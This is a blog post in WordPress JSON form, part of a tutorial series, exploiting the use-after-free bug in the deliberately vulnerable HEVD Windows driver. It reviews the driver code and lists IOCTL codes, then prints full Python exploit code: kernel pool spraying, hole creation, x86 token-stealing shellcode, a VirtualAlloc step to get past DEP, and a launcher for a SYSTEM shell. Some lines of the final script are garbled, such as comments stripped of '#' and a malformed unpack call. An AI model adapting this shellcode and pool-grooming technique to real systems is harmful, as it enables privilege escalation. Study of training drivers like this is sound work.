{"id":325,"date":"2022-11-20T18:22:06","date_gmt":"2022-11-20T17:22:06","guid":{"rendered":"https:\/\/areyou1or0.it\/?p=325"},"modified":"2022-11-20T19:25:21","modified_gmt":"2022-11-20T18:25:21","slug":"hevd-windows-kernel-exploitation-6-use-after-free","status":"publish","type":"post","link":"https:\/\/areyou1or0.it\/index.php\/2022\/11\/20\/hevd-windows-kernel-exploitation-6-use-after-free\/","title":{"rendered":"HEVD Windows Kernel Exploitation 6: Use-After-Free"},"content":{"rendered":"\n<p>As this is the 5th vulnerability on HEVD (Use-After-Free), I&#8217;ll give a summary of what we&#8217;ve learned so far:<\/p>\n\n\n\n<ul>\n<li>With Stack Overfow:&nbsp;&nbsp;put your shellcode in userland in an allocated memory and execute in kernelland<\/li>\n\n\n\n<li>With Arbitraty Overwrite: writing the value pointed by what to the memory location referenced by where<\/li>\n\n\n\n<li>With Null Pointer Dereference:&nbsp;writing to a pointer location where the value of the pointer is NULL and used by an application that points to a valid memory location<\/li>\n\n\n\n<li>With Unitialized Stack Variable,&nbsp;we will control the data on the&nbsp;<strong>kernel stack<\/strong>&nbsp;from&nbsp;<strong>user mode<\/strong>using an uninitialized stack variable<\/li>\n\n\n\n<li>With Use-After-Free,&nbsp;&nbsp;we\u2019ll exploit a stale pointer that&#8217;s not freed which is called through a Callback function to execute our shellcode after we can put into the memory there.<\/li>\n<\/ul>\n\n\n\n<h2>Strategy:<\/h2>\n\n\n\n<p>The strategy for this blogpost will be as follows:<\/p>\n\n\n\n<p>Initial Phase:<\/p>\n\n\n\n<ul>\n<li>Source Code Review<\/li>\n\n\n\n<li>Finding IOCTLs<\/li>\n\n\n\n<li>Verifying the vulnerability with the scripts<\/li>\n<\/ul>\n\n\n\n<h2>Source Code Review<\/h2>\n\n\n\n<p>As always we&#8217;ll check the C code first to understand where the vulnerability lies:&nbsp;<\/p>\n\n\n\n<p>The structure of the code is the same, defines some variables and datatypes, shows the vulnerable vs secure code and triggers the vulnerability, then defines IOCTL code.&nbsp;<\/p>\n\n\n\n<ol type=\"1\">\n<li>AllocateUaFObject<\/li>\n\n\n\n<li>UseUaFObject<\/li>\n\n\n\n<li>FreeUaFObject<\/li>\n\n\n\n<li>AllocateFakeObject<\/li>\n<\/ol>\n\n\n\n<h3>Function1: AllocateUaFObject<\/h3>\n\n\n\n<p>This funcion:<\/p>\n\n\n\n<p>allocates a Non-Paged pool chunk:&nbsp;<\/p>\n\n\n\n<ul>\n<li>UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,&nbsp;&nbsp;sizeof(USE_AFTER_FREE), (ULONG)POOL_TAG);<\/li>\n\n\n\n<li>uses the Windows API call: ExAllocatePoolWithTag<\/li>\n<\/ul>\n\n\n\n<p>fills it withA character:&nbsp;<\/p>\n\n\n\n<ul>\n<li>RtlFillMemory((PVOID)UseAfterFree-&gt;Buffer, sizeof(UseAfterFree-&gt;Buffer), 0x41);<\/li>\n\n\n\n<li>uses the Windows API call:&nbsp;&nbsp;RtlFillMemory&nbsp;<\/li>\n<\/ul>\n\n\n\n<p>terminates with a&nbsp;NULL&nbsp;character:<\/p>\n\n\n\n<ul>\n<li>UseAfterFree-&gt;Buffer[sizeof(UseAfterFree-&gt;Buffer) &#8211; 1] = &#8216;\\0&#8217;;<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"795\" height=\"1024\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-795x1024.png\" alt=\"\" class=\"wp-image-326\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-795x1024.png 795w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-233x300.png 233w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-768x989.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image.png 1132w\" sizes=\"(max-width: 795px) 100vw, 795px\" \/><\/figure>\n\n\n\n<h3>Function 2: UseUaFObject<\/h3>\n\n\n\n<p>In this function:<\/p>\n\n\n\n<ul>\n<li>if the pointer g_UseAfterFreeObject exists, it calls the callback<\/li>\n\n\n\n<li>This shows the danger of using the dangling pointer which we will use in our exploit<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"665\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-1-1024x665.png\" alt=\"\" class=\"wp-image-327\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-1-1024x665.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-1-300x195.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-1-768x499.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-1.png 1244w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3>Function 3: FreeUaFObject<\/h3>\n\n\n\n<p>With this funcion, we see the vulnerable and secure implementations:<\/p>\n\n\n\n<ul>\n<li>in the secure version,&nbsp;&nbsp;<em>g_UseAfterFreeObject<\/em>&nbsp;is being set to NULL<\/li>\n\n\n\n<li>in the vulnerable version,&nbsp;ExFreePoolWithTag&nbsp;is used, which will leave a reference to a stale dangling pointer.&nbsp;<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"937\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-3-1024x937.png\" alt=\"\" class=\"wp-image-329\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-3-1024x937.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-3-300x275.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-3-768x703.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-3.png 1134w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3>Function 4: AllocateFakeObject<\/h3>\n\n\n\n<p>this is the function we will use to place our shellcode into the non-paged pool<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"923\" height=\"1024\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-2-923x1024.png\" alt=\"\" class=\"wp-image-328\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-2-923x1024.png 923w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-2-271x300.png 271w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-2-768x852.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/image-2.png 1212w\" sizes=\"(max-width: 923px) 100vw, 923px\" \/><\/figure>\n\n\n\n<h2>Finding IOCTL<\/h2>\n\n\n\n<p>We&#8217;ll find 4 different IOCTL for each function found as below:<\/p>\n\n\n\n<ul>\n<li>ALLOCATE_UAF_OBJECT: 0x222013<\/li>\n\n\n\n<li>USE_UAF_OBJECT: 0x222017<\/li>\n\n\n\n<li>FREE_UAF_OBJECT&nbsp;: 0x22201B<\/li>\n\n\n\n<li>ALLOCATE_FAKE_OBJECT.: 0x22201F<\/li>\n<\/ul>\n\n\n\n<p>Extra Technique: check the Common.h file<\/p>\n\n\n\n<p>## #define HACKSYS_EVD_IOCTL_xxxx CTL_CODE(FILE_DEVICE_UNKNOWN, 0xxxx, METHOD_NEITHER, FILE_ANY_ACCESS)<\/p>\n\n\n\n<p>hex((0x00000022 &lt;&lt; 16) | (0x00000000 &lt;&lt; 14) | (0x802 &lt;&lt; 2) | 0x00000003)<\/p>\n\n\n\n<h2>Exploit: Initial Script<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><code>import struct, sys, ctypes<br>from ctypes import *<br>from ctypes.wintypes import *<br>from subprocess import *<br>&nbsp;<br>## DLL<br>kernel32 = windll.kernel32&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;<br>handle = kernel32.CreateFileA(\"\\\\\\\\.\\\\HackSysExtremeVulnerableDriver\", 0xC0000000, 0, None, 0x3, 0, None)<br>&nbsp;<br>if not handle or handle == -1:<br>&nbsp;&nbsp;&nbsp;&nbsp;print \"[+] Cannot get device handle..... Try again.\"<br>&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0)<br>&nbsp;<br>buffer = \"\\x41\" * 0x60<br>&nbsp;<br>kernel32.DeviceIoControl(handle, 0x222013, None, None, None, 0, byref(c_ulong()), None)<br>kernel32.DeviceIoControl(handle, 0x22201B, None, None, None, 0, byref(c_ulong()), None)<br>kernel32.DeviceIoControl(handle, 0x22201F, buffer, len(buffer), None, 0, byref(c_ulong()), None)<br>kernel32.DeviceIoControl(handle, 0x222017, None, None, None, 0, byref(c_ulong()), None)<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>listen with windbg and send 4 different IOCTL code with this script to validate after putting breakpoint on the IOCTL handlers.<\/p>\n\n\n\n<h2>Exploit: Spraying Objects<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><code>spray_event1 = spray_event2 = []<br><br><strong>for i in xrange(10000):&nbsp;&nbsp;&nbsp;spray_event1.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))<\/strong><br><strong>&nbsp;<\/strong><br><strong>for i in xrange(5000):<\/strong><br><strong>spray_event2.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))<\/strong><\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2>Exploit: Create Holes&nbsp;<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>for&nbsp;i in xrange(0, len(spray_event2), 2):<\/strong><br><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;kernel32.CloseHandle(spray_event2[i])<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2>Exploit: Call the IOCTL code in the correct order:<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><code>Call the IOCTL code in the correct order<br>ALLOCATE_UAF_OBJECT -&gt; FREE_UAF_OBJECT -&gt; ALLOCATE_FAKE_OBJECT -&gt; USE_UAF_OBJECT<br>kernel32.DeviceIoControl(handle, 0x222013, None, None, None, 0, byref(c_ulong()), None)<br>kernel32.DeviceIoControl(handle, 0x22201B, None, None, None, 0, byref(c_ulong()), None)<br>fake_obj = ptr_adr + \"\\x41\"*(0x60 - (len(ptr_adr)))<br>for i in xrange(5000):<br>kernel32.DeviceIoControl(handle, 0x22201F, fake_obj, len(fake_obj), None, 0, byref(c_ulong()), None)<br>kernel32.DeviceIoControl(handle, 0x222017, None, None, None, 0, byref(c_ulong()), None)<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2>Final Exploit<\/h2>\n\n\n\n<p>We&#8217;ll add the shellcode,&nbsp;Defeate DEP, add print statements to debug issues and pop the system shell:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><code>import struct, sys, ctypes<br>from ctypes import *<br>from ctypes.wintypes import *<br>from subprocess import *<br>DLL<br>kernel32 = windll.kernel32<br>psapi = windll.Psapi<br>ntdll = windll.ntdll<br>spraying<br>spray_event1 = spray_event2 = []<br>handle<br>handle = kernel32.CreateFileA(\"\\\\.\\HackSysExtremeVulnerableDriver\", 0xC0000000, 0, None, 0x3, 0, None)<br>if not handle or handle == -1:<br>print \"[+] Cannot get device handle\u2026.. Try again.\"<br>sys.exit(0)<br>shellcode<br>shellcode = bytearray(<br>\"\\x90\\x90\\x90\\x90\" # NOP Sled<br>\"\\x60\" # pushad<br>\"\\x64\\xA1\\x24\\x01\\x00\\x00\" # mov eax, fs:[KTHREAD_OFFSET]<br>\"\\x8B\\x40\\x50\" # mov eax, [eax + EPROCESS_OFFSET]<br>\"\\x89\\xC1\" # mov ecx, eax (Current _EPROCESS structure)<br>\"\\x8B\\x98\\xF8\\x00\\x00\\x00\" # mov ebx, [eax + TOKEN_OFFSET]<br>\"\\xBA\\x04\\x00\\x00\\x00\" # mov edx, 4 (SYSTEM PID)<br>\"\\x8B\\x80\\xB8\\x00\\x00\\x00\" # mov eax, [eax + FLINK_OFFSET]<br>\"\\x2D\\xB8\\x00\\x00\\x00\" # sub eax, FLINK_OFFSET<br>\"\\x39\\x90\\xB4\\x00\\x00\\x00\" # cmp [eax + PID_OFFSET], edx<br>\"\\x75\\xED\" # jnz<br>\"\\x8B\\x90\\xF8\\x00\\x00\\x00\" # mov edx, [eax + TOKEN_OFFSET]<br>\"\\x89\\x91\\xF8\\x00\\x00\\x00\" # mov [ecx + TOKEN_OFFSET], edx<br>\"\\x61\" # popad<br>\"\\xC3\" # ret<br>)<br>Defeating DEP with VirtualAlloc<br>Creating RWX memory, and copying our shellcode in that region.<br>ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000), c_int(0x40))<br>buff = (c_char * len(shellcode)).from_buffer(shellcode)<br>kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))<br>ptr_adr = hex(struct.unpack('L', ptr))[0])[2:].zfill(8).decode('hex')<br>spray the objects<br>for i in xrange(10000):<br>spray_event1.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))<br>for i in xrange(5000):<br>spray_event2.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))<br>create holes<br>for i in xrange(0, len(spray_event2), 2):<br>kernel32.CloseHandle(spray_event2[i])<br>Call the IOCTL code in the correct order<br>ALLOCATE_UAF_OBJECT -&gt; FREE_UAF_OBJECT -&gt; ALLOCATE_FAKE_OBJECT -&gt; USE_UAF_OBJECT<br>kernel32.DeviceIoControl(handle, 0x222013, None, None, None, 0, byref(c_ulong()), None)<br>kernel32.DeviceIoControl(handle, 0x22201B, None, None, None, 0, byref(c_ulong()), None)<br>fake_obj = ptr_adr + \"\\x41\"*(0x60 - (len(ptr_adr)))<br>for i in xrange(5000):<br>kernel32.DeviceIoControl(handle, 0x22201F, fake_obj, len(fake_obj), None, 0, byref(c_ulong()), None)<br>kernel32.DeviceIoControl(handle, 0x222017, None, None, None, 0, byref(c_ulong()), None)<br>call the shell<br>print \"\\n[+] system shell incoming\"<br>Popen(\"start cmd\", shell=True)<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"417\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/Screenshot-2022-11-20-at-18.21.38-1024x417.png\" alt=\"\" class=\"wp-image-330\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/Screenshot-2022-11-20-at-18.21.38-1024x417.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/Screenshot-2022-11-20-at-18.21.38-300x122.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/Screenshot-2022-11-20-at-18.21.38-768x313.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/Screenshot-2022-11-20-at-18.21.38-1536x626.png 1536w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/Screenshot-2022-11-20-at-18.21.38-2048x835.png 2048w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/11\/Screenshot-2022-11-20-at-18.21.38-1568x639.png 1568w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>As this is the 5th vulnerability on HEVD (Use-After-Free), I&#8217;ll give a summary of what we&#8217;ve learned so far: Strategy: The strategy for this blogpost will be as follows: Initial Phase: Source Code Review As always we&#8217;ll check the C code first to understand where the vulnerability lies:&nbsp; The structure of the code is the&hellip; <a class=\"more-link\" href=\"https:\/\/areyou1or0.it\/index.php\/2022\/11\/20\/hevd-windows-kernel-exploitation-6-use-after-free\/\">Continue reading <span class=\"screen-reader-text\">HEVD Windows Kernel Exploitation 6: Use-After-Free<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[21],"tags":[],"_links":{"self":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/325"}],"collection":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/comments?post=325"}],"version-history":[{"count":2,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/325\/revisions"}],"predecessor-version":[{"id":332,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/325\/revisions\/332"}],"wp:attachment":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/media?parent=325"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/categories?post=325"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/tags?post=325"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}